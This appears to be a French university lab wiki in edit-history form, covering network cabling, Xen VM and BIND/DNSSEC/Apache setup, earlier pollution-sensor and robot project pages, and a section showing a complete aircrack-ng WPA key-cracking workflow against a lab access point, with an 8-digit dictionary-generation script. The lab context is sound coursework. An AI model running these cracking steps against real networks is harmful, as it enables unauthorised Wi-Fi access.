Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.

*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''

La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.

*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''

La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.

===Connexions au serveur Cordouan===

Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM.

*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''

Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.

*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''

Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.

===Connexion des commutateurs aux points d'accès===

===Schéma résumant le câblage réalisé :===

[[Fichier:ArchitectureMehCret.png|1500px]]

==Installation des systèmes d'exploitation==

===Création de la machine virtuelle===

Création d'une machine virtuelle sur cordouan.insecserv.deule.net :

xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen

Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg

vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']
xen create hercule.cfg

On vérifie que la machine est bien créée en s'y connectant :

xl console hercule

Création des partitions logiques sur Cordouan pour la machine virtuelle :
lvcreate -L 10G -n /dev/virtual/hercule-home -v
lvcreate -L 10G -n /dev/virtual/hercule-var -v

Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :
'phy:/dev/virtual/hercule-home,xvdb1,w',
'phy:/dev/virtual/hercule-var,xvdb2,w'

On relance la VM.
On formate les disques créés sur la machine :
mkfs -t ext4 /dev/xvdb1
mkfs -t ext4 /dev/xvdb2

Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :
/dev/xvdb1 /home ext4 defaults 0 2
Puis on effectue le montage :
mount -a

Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire :
mount /dev/xvdb2 /mnt

On déplace ensuite le contenu de var dans le point de montage précédemment créé :
mv /var/* /mnt

Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :
/dev/xvdb2 /var ext4 defaults 0 2

On applique les modifications :
mount -a

===Service internet===

====Serveur DNS====

Achat du domaine hercule.pw sur gandi.

Installation de bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :
On créé un fichier de configuration de zone db.hercule.pw dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.hercule.space. root.hercule.space (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.hercule.space.
IN NS ns6.gandi.net
@ IN A 193.48.57.183
ns IN A 193.48.57.183
www IN A 193.48.57.183

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "hercule.space" {
type master;
file "/etc/bind/db.hercule.space";
allow-transfer {217.70.177.40;};
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

Redémarrage du serveur bind9 :
service bind9 restart

Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP :
name : ns.hercule.space
IP address : 193.48.57.183

Changement du nameserver principal sur Gandi (A FAIRE):
DNS 1 : ns.hercule.space

On laisse ceux de Gandi pour les deux serveurs esclaves

ZONES INVERSES A FAIRE

====DNSSEC====

Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :
dnssec-enable yes;

Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs

Création de la clef asymétrique de signature de clefs de zone :

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space
:
Création de la clef asymétrique de la zone pour signer les enregistrements :

dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space

On renomme ces clef :
hercule.space-ksk.key
hercule.space-zsk.key

Puis on les inclus dans le fichier /etc/bind/db.hercule.space
$include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key
$include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key

On signe les enregistrements de la zone :
dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk

On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :
file "/etc/bind/db.hercule.space.signed";

On communique la partie publique de la KSK à Gandi dans l'onglet DNSSEC

====Serveur Apache====

Création du dossier /var/www/www.hercule.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf

<VirtualHost 193.48.57.183:443>
ServerName www.hercule.space
ServerAlias hercule.space
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt
SSLCertificateKeyFile /etc/ssl/private/hercule.space.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

<VirtualHost 193.48.57.183:80>
ServerName www.hercule.space
ServerAlias hercule.space
Redirect / https://www.hercule.space
</VirtualHost>

Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :

Listen 80 443

On active enfin le module SSL, notre site, et on redémarre le service apache :
a2enmod ssl
a2ensite hercule.space.conf
service apache2 restart

===Crackage de clé WPA===

Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :

$ iwconfig

Nous lançons alors airmon-ng avec notre interface wifi (wlp2s0) :

$ airmon-ng start wlp2s0mon

Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :

$ airodump-ng wlp2s0mon

Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :

$ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon

Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :

#!/bin/bash
charset=({0..9})
permute(){
(($1 == 0)) && { echo "$2"; return; }
for char in "${charset[@]}"
do
permute "$((${1} - 1 ))" "$2$char"
done
}
permute "$1"

Que nous laçons en exécutant :

$ ./comb.sh 8 >> dictionnaire.txt

Le crack est effectué en lançant la commande :

$ aircrack-ng -a2 -b 04:DA:D2:9C:50:56 -w /path_to_file/Dictionnary.txt /path_to_file/*.cap

Nous récupérons la clé après quelques heures de calcul :

[[Fichier:Crack groupe7.png|600px]]

Fichier:Crack groupe7.png

2018-12-17T13:41:58Z

Nmehanna :

TP sysres IMA5sc 2018/2019 G7

2018-12-13T15:16:48Z

Nmehanna : /* Crackage de clé WPA */

TP sysres IMA5sc 2018/2019 G7

2018-12-13T15:10:25Z

Nmehanna : /* Crackage de clé WPA */

TP sysres IMA5sc 2018/2019 G7

2018-12-10T17:59:13Z

Nmehanna : /* Crackage de clé WPA */

TP sysres IMA5sc 2018/2019 G7

2018-12-10T17:46:48Z

Nmehanna : /* Service internet */

TP sysres IMA5sc 2018/2019

2018-11-27T11:53:56Z

Nmehanna : /* Plan d'adressage */

== Répartition des binômes ==

{| class="wikitable"
! Cahier !! Elèves
|-
| [[ TP sysres IMA5sc 2018/2019 G1 | Cahier groupe n°1]]
| Taky Djeraba & Baptiste Cartier
|-
| [[ TP sysres IMA5sc 2018/2019 G2 | Cahier groupe n°2]]
| Jade Dupont & Quentin Boëns
|-
| [[ TP sysres IMA5sc 2018/2019 G3 | Cahier groupe n°3]]
| Antoine Duquenoy & Anthony Durot
|-
| [[ TP sysres IMA5sc 2018/2019 G4 | Cahier groupe n°4]]
| Paul Ribeiro & Antoine Untereiner
|-
| [[ TP sysres IMA5sc 2018/2019 G5 | Cahier groupe n°5]]
| Delobelle Matthieu
|-
| [[ TP sysres IMA5sc 2018/2019 G6 | Cahier groupe n°6]]
| Simon Feutrier & Antoine Gosse
|-
| [[ TP sysres IMA5sc 2018/2019 G7 | Cahier groupe n°7]]
| Naif Mehanna & Maxime Créteur
|-
| [[ TP sysres IMA5sc 2018/2019 G8 | Cahier groupe n°8]]
| Justine Senellart & Rodolphe Toin
|-
| [[ TP sysres IMA5sc 2018/2019 G9 | Cahier groupe n°9]]
| Amine El Messaoudi & Thibault Cattelain
|-
| [[ TP sysres IMA5sc 2018/2019 G10 | Cahier groupe n°10]]
| Etienne Profit & Olivier Mahieux
|-
| [[ TP sysres IMA5sc 2018/2019 G12 | Cahier groupe n°11]]
| Benjamin Canu & Amaury Carval
|-
| [[ TP sysres IMA5sc 2018/2019 G13 | Cahier groupe n°12]]
| Ji YANG
|-
|}

== Plan d'adressage ==
{| class="wikitable"
! Nom !! VLAN !! Réseau IPV4 !! Réseau IPV6 !! IP routeur 1 !! IP routeur 2 !! Routeur virtuel !! Nom VM !! IP VM
|-
|XEN
|43
|193.48.57.176/28
|2001.660.4401.60C0::/64
|193.48.57.188/28
|193.48.57.189/28
|193.48.57.190/28
|-
|Groupe 1
|11
|10.60.11.0/24
|2001.660.4401.60C1::/64
|10.60.11.252/24
|10.60.11.253/24
|10.60.11.254/24
|Thot
|193.48.57.177/28
|-
|Groupe 2
|12
|10.60.12.0/24
|2001.660.4401.60C2::/64
|10.60.12.252/24
|10.60.12.253/24
|10.60.12.254/24
|Dionysos
|193.48.57.178/28
|-
|Groupe 3
|13
|10.60.13.0/24
|2001.660.4401.60C3::/64
|10.60.13.252/24
|10.60.13.253/24
|10.60.13.254/24
|Pegase
|193.48.57.179/28
|-
|Groupe 4
|14
|10.60.14.0/24
|2001.660.4401.60C4::/64
|10.60.14.252/24
|10.60.14.253/24
|10.60.14.254/24
|Hades
|193.48.57.180/28
|-
|Groupe 5
|15
|10.60.15.0/24
|2001.660.4401.60C5::/64
|10.60.15.252/24
|10.60.15.253/24
|10.60.15.254/24
|Chronos
|193.48.57.181/28
|-
|Groupe 6
|16
|10.60.16.0/24
|2001.660.4401.60C6::/64
|10.60.16.252/24
|10.60.16.253/24
|10.60.16.254/24
|Poseidon
|193.48.57.182/28
|-
|Groupe 7
|17
|10.60.17.0/24
|2001.660.4401.60C7::/64
|10.60.17.252/24
|10.60.17.253/24
|10.60.17.254/24
|Hercule
|193.48.57.183/28
|-
|Groupe 8
|18
|10.60.18.0/24
|2001.660.4401.60C8::/64
|10.60.18.252/24
|10.60.18.253/24
|10.60.18.254/24
|Nyx
|193.48.57.184/28
|-
|Groupe 9
|19
|10.60.19.0/24
|2001.660.4401.60C9::/64
|10.60.19.252/24
|10.60.19.253/24
|10.60.19.254/24
|NOM MACHINE VIRTUELLE
|193.48.57.185/28
|-
|Groupe 10
|20
|10.60.20.0/24
|2001.660.4401.60CA::/64
|10.60.20.252/24
|10.60.20.253/24
|10.60.20.254/24
|Hermes
|193.48.57.186/28
|-
|Groupe 11
|21
|10.60.21.0/24
|2001.660.4401.60CB::/64
|10.60.21.252/24
|10.60.21.253/24
|10.60.21.254/24
|NOM MACHINE VIRTUELLE
|193.48.57.187/28
|-
|Interconnexion
|131
|192.168.222.8/29
|Router1 : fe80:0000:0042:0002 // Router2 : fe80:0000:0042:0003 // Ecole : fe80:0000:0042:0001
|192.168.222.9/29
|192.168.222.10/29
|}

TP sysres IMA5sc 2018/2019 G7

2018-11-12T10:38:34Z

Nmehanna : Page créée avec « = Wiki de TP = »

= Wiki de TP =

TP sysres IMA5sc 2018/2019

2018-11-12T10:38:07Z

Nmehanna : /* Répartition des binômes */

== Répartition des binômes ==

{| class="wikitable"
! Cahier !! Elèves
|-
| [[ TP sysres IMA5sc 2018/2019 G1 | Cahier groupe n°1]]
| Prénom Nom & Prénom Nom
|-
| [[ TP sysres IMA5sc 2018/2019 G2 | Cahier groupe n°2]]
| Prénom Nom & Prénom Nom
|-
| [[ TP sysres IMA5sc 2018/2019 G3 | Cahier groupe n°3]]
| Prénom Nom & Prénom Nom
|-
| [[ TP sysres IMA5sc 2018/2019 G4 | Cahier groupe n°4]]
| Prénom Nom & Prénom Nom
|-
| [[ TP sysres IMA5sc 2018/2019 G6 | Cahier groupe n°6]]
| Prénom Nom & Prénom Nom
|-
| [[ TP sysres IMA5sc 2018/2019 G7 | Cahier groupe n°7]]
| Naif Mehanna & Maxime Créteur
|-
| [[ TP sysres IMA5sc 2018/2019 G8 | Cahier groupe n°8]]
| Prénom Nom & Prénom Nom
|-
| [[ TP sysres IMA5sc 2018/2019 G9 | Cahier groupe n°9]]
| Prénom Nom & Prénom Nom
|-
| [[ TP sysres IMA5sc 2018/2019 G10 | Cahier groupe n°10]]
| Prénom Nom & Prénom Nom
|-
| [[ TP sysres IMA5sc 2018/2019 G11 | Cahier groupe n°11]]
| Prénom Nom & Prénom Nom
|-
| [[ TP sysres IMA5sc 2018/2019 G12 | Cahier groupe n°12]]
| Prénom Nom & Prénom Nom
|-
| [[ TP sysres IMA5sc 2018/2019 G13 | Cahier groupe n°13]]
| Prénom Nom & Prénom Nom
|-
|}

IMA4 2017/2018 P5

2017-11-11T20:20:27Z

Nmehanna : /* Choix techniques : matériel et logiciel */

__TOC__
<br style="clear: both;"/>

='''Réseau de capteurs de pollution'''=

=Présentation générale=

==Description==

Notre projet consiste à réaliser un réseau de capteurs de pollution. Ceux ci permettront au travers d'une application web et d'une application mobile de visualiser le taux de pollution aux particules fines et polluants chimiques en différents endroits en temps réel.
Nous pourrons ensuite aider les utilisateurs à trouver les chemins les plus appropriés pour se déplacer en étant le moins exposé possible à la pollution. En effet, l'exposition prolongée à un taux élevé de particules fines réduit l'espérance de vie. Connaitre le taux de pollution est donc un enjeu majeur.

==Objectifs==

* Élaboration d'un capteur de pollution permettant de détecter différents polluants (particules fines, poussière, résidus de combustion) connecté au réseau LoRaWAN
* Création d'une application web permettant aux utilisateurs de visualiser les taux de pollution détectés par les capteurs en différents endroits de la ville et de pouvoir déterminer le chemin le plus approprié pour leurs déplacements.
* Création d'une application mobile avec les mêmes spécificités que le site web
* Élaboration d'un algorithme de machine learning permettant de déterminer le meilleur chemin selon des anciennes données dans le cas d'une panne des capteurs.

=Analyse du projet=

==Positionnement par rapport à l'existant==

* Site web évaluant la pollution sur Lille : https://air.plumelabs.com/fr/live/lille
* Site évaluant la pollution de l'air dans différentes villes de France : http://aqicn.org/map/france/
* Carte couleur en fonction de la pollution : http://www2.prevair.org/

* Application plume air report donnant la qualité de l'air dans la ville demandée ainsi que des astuces pour éviter la pollution : https://plumelabs.com/en/products/air-report

==Analyse du premier concurrent==
==Analyse du second concurrent==
==Scénario d'usage du produit ou du concept envisagé==

'''Sur la page d'accueil:''' les informations générales sur la pollution :
* La moyenne journalière de pollution sur toute la ville
* L'évolution de la pollution moyenne sur la semaine, le mois, l'année... (graphique)

'''Dans les autres onglets :'''

* Une carte de la ville de Lille présentant le niveau de pollution en fonction des données relevées sur les capteurs.
* Une interface permettant à l'utilisateur de rentrer le trajet qu'il souhaite réaliser et qui lui renvoie le meilleur itinéraire

==Réponse à la question difficile==

Selon certaines documentations, le capteur perd en précision lorsqu'un souffle est appliqué sur le capteur. Il faudrait donc envisager un moyen pour protéger le capteur du vent afin d'obtenir la meilleure précision. Surtout en cas de placement des capteurs sur des vehicules.

=Préparation du projet=

==Cahier des charges==

différents polluants pouvant être évalués :

* Monoxyde de carbone
* Dioxyde de carbone
* Ozone
* Particules en suspension PM2.5 (particules de diamètre inférieurs à 2,5 micromètres),PM10
* Dioxyde de souffre

==Choix techniques : matériel et logiciel==

'''Capteur :'''

* Raspberry Pi zero
* Module 3G
* Module GPS
* Batterie Lithium Ion
* Adaptateur micro USB
* HPMA115S0-XXX

La raspberry pi peut être remplacée par le module Particle Photon ( Lien [[https://www.lextronic.fr/P37394-module-particle-photon.html]] ) qui comprend un module de données
cellulaires qui amortirait le cout d'un dongle. Le kit de développement de Particle comprend une batterie et une carte SIM prépayée ainsi que plusieurs accessoires supplémentaires. Il serait peut être plus raisonnable d'opter pour le kit.

'''Backend'''
* Base de données NoSQL : RethinkDB ou MongoDB
* Google maps API : service de localisation avec points de cheminements pour choisir le meilleur itinéraire https://developers.google.com/maps/documentation/directions/intro?hl=fr#Waypoints
* Jersey : pour l'API REST et le traitement en temps réel
* RabbitMQ pour le système publish/subscribe

'''Application mobile :'''
* Java/Kotlin

'''Application Web :'''

* Node/AngularJS : pour améliorer la fluidité du site.
* Bootstrap/Semantic UI : pour faciliter le développement

==Liste des tâches à effectuer==
==Calendrier prévisionnel==

=Réalisation du Projet=
==Feuille d'heures==

{| class="wikitable"
!Tâche !! Prélude !! Heures S1 !! Heures S2 !! Heures S3 !! Heures S4 !! Heures S5 !! Heures S6 !! Heures S7 !! Heures S8 !! Heures S9 !! Heures S10 !! Total
|-
| Analyse du projet
| 0
|
|
|
|
|
|
|
|
|
|
|
|}

==Prologue==
==Semaine 1==
==Semaine 2==

=Documents Rendus=

IMA4 2017/2018 P5

2017-11-11T18:40:49Z

Nmehanna : /* Choix techniques : matériel et logiciel */

__TOC__
<br style="clear: both;"/>

='''Réseau de capteurs de pollution'''=

=Présentation générale=

==Description==

Notre projet consiste à réaliser un réseau de capteurs de pollution. Ceux ci permettront au travers d'une application web et d'une application mobile de visualiser le taux de pollution aux particules fines et polluants chimiques en différents endroits en temps réel.
Nous pourrons ensuite aider les utilisateurs à trouver les chemins les plus appropriés pour se déplacer en étant le moins exposé possible à la pollution. En effet, l'exposition prolongée à un taux élevé de particules fines réduit l'espérance de vie. Connaitre le taux de pollution est donc un enjeu majeur.

==Objectifs==

* Élaboration d'un capteur de pollution permettant de détecter différents polluants (particules fines, poussière, résidus de combustion) connecté au réseau LoRaWAN
* Création d'une application web permettant aux utilisateurs de visualiser les taux de pollution détectés par les capteurs en différents endroits de la ville et de pouvoir déterminer le chemin le plus approprié pour leurs déplacements.
* Création d'une application mobile avec les mêmes spécificités que le site web
* Élaboration d'un algorithme de machine learning permettant de déterminer le meilleur chemin selon des anciennes données dans le cas d'une panne des capteurs.

=Analyse du projet=

==Positionnement par rapport à l'existant==

* Site web évaluant la pollution sur Lille : https://air.plumelabs.com/fr/live/lille
* Site évaluant la pollution de l'air dans différentes villes de France : http://aqicn.org/map/france/
* Carte couleur en fonction de la pollution : http://www2.prevair.org/

* Application plume air report donnant la qualité de l'air dans la ville demandée ainsi que des astuces pour éviter la pollution : https://plumelabs.com/en/products/air-report

==Analyse du premier concurrent==
==Analyse du second concurrent==
==Scénario d'usage du produit ou du concept envisagé==

'''Sur la page d'accueil:''' les informations générales sur la pollution :
* La moyenne journalière de pollution sur toute la ville
* L'évolution de la pollution moyenne sur la semaine, le mois, l'année... (graphique)

'''Dans les autres onglets :'''

* Une carte de la ville de Lille présentant le niveau de pollution en fonction des données relevées sur les capteurs.
* Une interface permettant à l'utilisateur de rentrer le trajet qu'il souhaite réaliser et qui lui renvoie le meilleur itinéraire

==Réponse à la question difficile==

Selon certaines documentations, le capteur perd en précision lorsqu'un souffle est appliqué sur le capteur. Il faudrait donc envisager un moyen pour protéger le capteur du vent afin d'obtenir la meilleure précision. Surtout en cas de placement des capteurs sur des vehicules.

=Préparation du projet=

==Cahier des charges==

différents polluants pouvant être évalués :

* Monoxyde de carbone
* Dioxyde de carbone
* Ozone
* Particules en suspension PM2.5 (particules de diamètre inférieurs à 2,5 micromètres),PM10
* Dioxyde de souffre

==Choix techniques : matériel et logiciel==

'''Capteur :'''

Raspberry Pi zero + module 3G + adaptateur micro USB

'''Backend'''
* Base de données NoSQL : RethinkDB ou MongoDB
* Google maps API : service de localisation avec points de cheminements pour choisir le meilleur itinéraire https://developers.google.com/maps/documentation/directions/intro?hl=fr#Waypoints
* Jersey : pour l'API REST et le traitement en temps réel
* RabbitMQ pour le système publish/subscribe

'''Application mobile :'''
* Java/Kotlin

'''Application Web :'''

* Node/AngularJS : pour améliorer la fluidité du site.
* Bootstrap/Semantic UI : pour faciliter le développement

==Liste des tâches à effectuer==
==Calendrier prévisionnel==

=Réalisation du Projet=
==Feuille d'heures==

{| class="wikitable"
!Tâche !! Prélude !! Heures S1 !! Heures S2 !! Heures S3 !! Heures S4 !! Heures S5 !! Heures S6 !! Heures S7 !! Heures S8 !! Heures S9 !! Heures S10 !! Total
|-
| Analyse du projet
| 0
|
|
|
|
|
|
|
|
|
|
|
|}

==Prologue==
==Semaine 1==
==Semaine 2==

=Documents Rendus=

IMA4 2017/2018 P5

2017-11-11T16:34:43Z

Nmehanna : /* Objectifs */

__TOC__
<br style="clear: both;"/>

='''Réseau de capteurs de pollution'''=

=Présentation générale=

==Description==

Notre projet consiste à réaliser un réseau de capteurs de pollution. Ceux ci permettront au travers d'une application web et d'une application mobile de visualiser le taux de pollution aux particules fines et polluants chimiques en différents endroits en temps réel.
Nous pourrons ensuite aider les utilisateurs à trouver les chemins les plus appropriés pour se déplacer en étant le moins exposé possible à la pollution. En effet, l'exposition prolongée à un taux élevé de particules fines réduit l'espérance de vie. Connaitre le taux de pollution est donc un enjeu majeur.

==Objectifs==

* Élaboration d'un capteur de pollution permettant de détecter différents polluants (particules fines, poussière, résidus de combustion) connecté au réseau LoRaWAN
* Création d'une application web permettant aux utilisateurs de visualiser les taux de pollution détectés par les capteurs en différents endroits de la ville et de pouvoir déterminer le chemin le plus approprié pour leurs déplacements.
* Création d'une application mobile avec les mêmes spécificités que le site web
* Élaboration d'un algorithme de machine learning permettant de déterminer le meilleur chemin selon des anciennes données dans le cas d'une panne des capteurs.

=Analyse du projet=

==Positionnement par rapport à l'existant==

* Site web évaluant la pollution sur Lille : https://air.plumelabs.com/fr/live/lille
* Site évaluant la pollution de l'air dans différentes villes de France : http://aqicn.org/map/france/
* Carte couleur en fonction de la pollution : http://www2.prevair.org/

* Application plume air report donnant la qualité de l'air dans la ville demandée ainsi que des astuces pour éviter la pollution : https://plumelabs.com/en/products/air-report

==Analyse du premier concurrent==
==Analyse du second concurrent==
==Scénario d'usage du produit ou du concept envisagé==

'''Sur la page d'accueil:''' les informations générales sur la pollution :
* La moyenne journalière de pollution sur toute la ville
* L'évolution de la pollution moyenne sur la semaine, le mois, l'année... (graphique)

'''Dans les autres onglets :'''

* Une carte de la ville de Lille présentant le niveau de pollution en fonction des données relevées sur les capteurs.
* Une interface permettant à l'utilisateur de rentrer le trajet qu'il souhaite réaliser et qui lui renvoie le meilleur itinéraire

==Réponse à la question difficile==

Selon certaines documentations, le capteur perd en précision lorsqu'un souffle est appliqué sur le capteur. Il faudrait donc envisager un moyen pour protéger le capteur du vent afin d'obtenir la meilleure précision. Surtout en cas de placement des capteurs sur des vehicules.

=Préparation du projet=

==Cahier des charges==

différents polluants pouvant être évalués :

* Monoxyde de carbone
* Dioxyde de carbone
* Ozone
* Particules en suspension PM2.5 (particules de diamètre inférieurs à 2,5 micromètres),PM10
* Dioxyde de souffre

==Choix techniques : matériel et logiciel==

'''Capteur :'''

Raspberry Pi zero + module 3G + adaptateur micro USB

'''Application mobile :'''

'''Application Web :'''

* Node/AngularJS : pour améliorer la fluidité du site.
* Bootstrap/Semantic UI : pour faciliter le développement
* Base de données NoSQL : RethinkDB ou MongoDB
* Google maps API : service de localisation avec points de cheminements pour choisir le meilleur itinéraire https://developers.google.com/maps/documentation/directions/intro?hl=fr#Waypoints

==Liste des tâches à effectuer==
==Calendrier prévisionnel==

=Réalisation du Projet=
==Feuille d'heures==

{| class="wikitable"
!Tâche !! Prélude !! Heures S1 !! Heures S2 !! Heures S3 !! Heures S4 !! Heures S5 !! Heures S6 !! Heures S7 !! Heures S8 !! Heures S9 !! Heures S10 !! Total
|-
| Analyse du projet
| 0
|
|
|
|
|
|
|
|
|
|
|
|}

==Prologue==
==Semaine 1==
==Semaine 2==

=Documents Rendus=

IMA4 2017/2018 P5

2017-11-11T16:33:06Z

Nmehanna : /* Description */

__TOC__
<br style="clear: both;"/>

='''Réseau de capteurs de pollution'''=

=Présentation générale=

==Description==

Notre projet consiste à réaliser un réseau de capteurs de pollution. Ceux ci permettront au travers d'une application web et d'une application mobile de visualiser le taux de pollution aux particules fines et polluants chimiques en différents endroits en temps réel.
Nous pourrons ensuite aider les utilisateurs à trouver les chemins les plus appropriés pour se déplacer en étant le moins exposé possible à la pollution. En effet, l'exposition prolongée à un taux élevé de particules fines réduit l'espérance de vie. Connaitre le taux de pollution est donc un enjeu majeur.

==Objectifs==

* Elaboration d'un capteur de pollution permettant de détecter différents polluants (particules fines, poussière, résidus de combustion)
* Création d'une application web permettant aux utilisateurs de visualiser les taux de pollution détectés par les capteurs en différents endroits de la ville et de pouvoir déterminer le chemin le plus approprié pour leurs déplacements
* Création d'une application mobile avec les mêmes spécificités que le site web

=Analyse du projet=

==Positionnement par rapport à l'existant==

* Site web évaluant la pollution sur Lille : https://air.plumelabs.com/fr/live/lille
* Site évaluant la pollution de l'air dans différentes villes de France : http://aqicn.org/map/france/
* Carte couleur en fonction de la pollution : http://www2.prevair.org/

* Application plume air report donnant la qualité de l'air dans la ville demandée ainsi que des astuces pour éviter la pollution : https://plumelabs.com/en/products/air-report

==Analyse du premier concurrent==
==Analyse du second concurrent==
==Scénario d'usage du produit ou du concept envisagé==

'''Sur la page d'accueil:''' les informations générales sur la pollution :
* La moyenne journalière de pollution sur toute la ville
* L'évolution de la pollution moyenne sur la semaine, le mois, l'année... (graphique)

'''Dans les autres onglets :'''

* Une carte de la ville de Lille présentant le niveau de pollution en fonction des données relevées sur les capteurs.
* Une interface permettant à l'utilisateur de rentrer le trajet qu'il souhaite réaliser et qui lui renvoie le meilleur itinéraire

==Réponse à la question difficile==

Selon certaines documentations, le capteur perd en précision lorsqu'un souffle est appliqué sur le capteur. Il faudrait donc envisager un moyen pour protéger le capteur du vent afin d'obtenir la meilleure précision. Surtout en cas de placement des capteurs sur des vehicules.

=Préparation du projet=

==Cahier des charges==

différents polluants pouvant être évalués :

* Monoxyde de carbone
* Dioxyde de carbone
* Ozone
* Particules en suspension PM2.5 (particules de diamètre inférieurs à 2,5 micromètres),PM10
* Dioxyde de souffre

==Choix techniques : matériel et logiciel==

'''Capteur :'''

Raspberry Pi zero + module 3G + adaptateur micro USB

'''Application mobile :'''

'''Application Web :'''

* Node/AngularJS : pour améliorer la fluidité du site.
* Bootstrap/Semantic UI : pour faciliter le développement
* Base de données NoSQL : RethinkDB ou MongoDB
* Google maps API : service de localisation avec points de cheminements pour choisir le meilleur itinéraire https://developers.google.com/maps/documentation/directions/intro?hl=fr#Waypoints

==Liste des tâches à effectuer==
==Calendrier prévisionnel==

=Réalisation du Projet=
==Feuille d'heures==

{| class="wikitable"
!Tâche !! Prélude !! Heures S1 !! Heures S2 !! Heures S3 !! Heures S4 !! Heures S5 !! Heures S6 !! Heures S7 !! Heures S8 !! Heures S9 !! Heures S10 !! Total
|-
| Analyse du projet
| 0
|
|
|
|
|
|
|
|
|
|
|
|}

==Prologue==
==Semaine 1==
==Semaine 2==

=Documents Rendus=

Projet IMA3 P1, 2016/2017, TD2

2017-06-14T15:39:09Z

Nmehanna : /* Partie informatique */

= Projet IMA3-SC 2016/2017 : Robot quadripode =

== Cahier des charges ==

=== Description du système ===

Notre projet est de réaliser un robot quadripode contrôlé par notre interface web.
Celui ci aura pour objectif de :
* se déplacer sur ses pattes dans les directions indiquées par l'utilisateur.
* Se déplacer à la vitesse demandée par l'utilisateur qui sera plus ou moins rapide.

Chaque pattes possédera 3 articulations afin de faciliter le déplacement du robot. Un des servo-moteur permettra de faire avancer ou reculer la patte, le deuxième permettra au robot de se surélever ou de s'abaisser et le dernier permettra de poser la patte perpendiculaire par rapport au sol.

En fonction du temps que nous prendrons à réaliser notre projet, nous aurons peut être la possibilité d'ajouter une fonctionnalité de vidéo à notre robot. Nous aurons alors la possibilité de voir à travers le robot sur notre interface web.

=== Le matériel ===

Le matériel pour réaliser notre robot quadripode est relativement simple . Nous aurons besoin d'un accès a un ordinateur équipé d'un système linux . Pour le quadripode , nous aurons besoins de :
* Une raspberry Pi ( de préférence une raspberry pi zéro en raison de sa petite taille)
